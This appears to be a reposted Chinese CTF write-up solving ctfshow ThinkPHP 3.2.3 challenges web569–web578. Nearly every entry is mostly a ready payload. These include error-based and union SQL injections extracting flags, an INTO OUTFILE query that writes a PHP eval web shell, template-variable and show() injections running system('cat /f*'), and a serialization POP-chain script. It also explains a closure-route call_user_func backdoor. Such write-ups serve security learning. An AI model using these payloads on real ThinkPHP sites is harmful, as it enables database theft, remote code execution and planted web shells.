ctfshow- thinkphp专题笔记一

TP3.23完全开发手册

web569(pathinfo的运用)

在这里插入图片描述TP3.2.3开发手册-URL模式
入口文件是应用的单一入口,对应用的所有请求都定向到应用入口文件,系统会从URL参数中解析当前请求的模块、控制器和操作:

http://serverName/index.php/模块/控制器/操作

payload:

http://serverName/index.php/Admin/Login/ctfshowLogin

web570(闭包路由后门)

在这里插入图片描述
审计提供的Application文件
在这里插入图片描述这里详情TP3.2.3开发手册-闭包支持

    'ctfshow/:f/:a' =>function($f,$a){
    
    
    	call_user_func($f, $a);
    	}
    )
);

在这里插入图片描述

web571(show方法导致的命令执行)

看了师傅们写的wp自己测试了下
将附件的Application替代thinkphp3.23里面的Application
先看下效果
在这里插入图片描述接下来就是找下原理
我们要分析一下show这个函数的走向,在vscode上下断点
在这里插入图片描述

然后访问

http://127.0.0.1/thinkphp3.23/index.php/Home/Index/index?n=<?php phpinfo();?>

我们传的参数n是content变量
先进入show函数->display函数->fetch函数->eval函数执行content

web572(debug模式访问log文件)

默认情况是debug模式下会记录日志,因此如果没有限制访问目录就容易出现文件泄露
且这个日志文件的命令规律是:年_月_日.log且日志文件是在\Application\Runtime\Logs\目录下的

payload:

http://serverName/Application/Runtime/Logs/Home/21_11_23.log

bp爆破日志文件
发现后门可以直接rce

在这里插入图片描述

在这里插入图片描述

web573(find方法引起的SQL注入)

ThinkPHP3.2.3代码审计【find方法引起的SQL注入】

payload:

http://serverName/index.php?id[where]=1 and updatexml(1,make_set(3,'~',(select flag4s from flags)),1)#
http://serverName/index.php?id[where]=1 and updatexml(1,make_set(3,'~',(select right(flag4s,24) from flags)),1)#

在这里插入图片描述

web574(ThinkPHP 3.2.3的SQL注入)

http://serverName/index.php?id=1 and updatexml(1,make_set(3,'~',(select flag4s from flags)),1)#
http://serverName/index.php?id=1 and updatexml(1,make_set(3,'~',(select right(flag4s,24) from flags)),1)#

web575(ThinkPHP v3.2反序列化POP链)

ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链
羽师傅分析的很详细
源码:

$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
    
    
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}

show()函数可以执行php代码
可以直接构造一个类
貌似群主考察的不是这个点

payload:

<?php
namespace Home\Controller{
    
    
class IndexController {
    
    
    public $id='1';
    public $username='<?php system("cat /f*");?>';
}
}
namespace{
    
    
    use Home\Controller\IndexController;
    echo base64_encode(serialize(new IndexController()));
}
?>

传参?id=1
然后改user的cookie

在这里插入图片描述

web576(ThinkPHP v3.2注释注入)

在这里插入图片描述
当我们传入id=1时最终的sql语句为select * from users where id=1 limit 1 /* 1*/
构造payload:

?id=1*/ into outfile "/var/www/html/1.php" LINES STARTING BY '<?php eval($_POST[0]);?>'/*

在这里插入图片描述

web577(exp注入)

复现
在这里插入图片描述
payload:

?id[0]=exp&id[1]==-1 union select 1,group_concat(flag4s),3,4 from flags

web578(模板变量覆盖)

在这里插入图片描述

payload:

?name[_content]=<?php system('cat /f*');?>

おすすめ

転載: blog.csdn.net/ZXT2804567059/article/details/121449524